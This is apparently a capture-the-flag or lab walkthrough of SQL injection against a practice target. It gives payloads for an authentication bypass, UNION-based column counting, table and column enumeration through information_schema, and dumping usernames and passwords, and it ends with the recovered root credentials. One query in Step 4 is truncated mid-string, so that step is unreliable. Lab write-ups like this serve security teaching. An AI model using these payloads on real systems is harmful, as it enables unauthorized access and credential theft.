Dazala Injection Walk Through

Step 1: Test for Input Type

Begin by testing the input type to understand how the application processes user input. Use the following payload:

```
1 OR 1=1--
```

This payload is a simple SQL injection that always evaluates to true, allowing you to bypass authentication and see if the input is vulnerable to SQL injection.

Step 2: Check the Number of Output Fields

Use the following query:

```
1' UNION SELECT null, null, null FROM information_schema.tables;-- -
```

This query checks the number of output fields by trying different numbers of null values.

> You could also find the number of output fields by using the following query:
>
> ```
> 1' UNION SELECT null, null, null, null FROM information_schema.tables;-- -
> ```
>
> > Using the query above, you can determine the number of output fields by increasing the number of null values. So just remove or add null values to find the correct number of output fields.

Step 3: Find Table Names

Use the following query to retrieve table names:

```
1' UNION SELECT table_name, null, null FROM information_schema.tables;-- -
```

This query retrieves table names from the database.

Step 4: Retrieve Column Names from a Known Table

Use the following query:

```
1' UNION SELECT column_name, null, null FROM information_schema.columns WHERE table_name='us
```

This query retrieves column names from the users table.

Step 5: Retrieve Name and Password Columns from a Known Table

Use the following query:

```
1' UNION SELECT username, password, null FROM users;-- -
```

This query retrieves the username and password columns from the users table. The table displays the root's password, which can be used to sign in.

Additional Example: Extracting Data from Another Table

To further illustrate the process, let's extract data from another table, such as the "orders" table. Use the following query:

```
1' UNION SELECT order_id, order_date, null FROM orders;-- -
```

This query retrieves the order_id and order_date columns from the orders table.

Solution

Username: root Password: secure123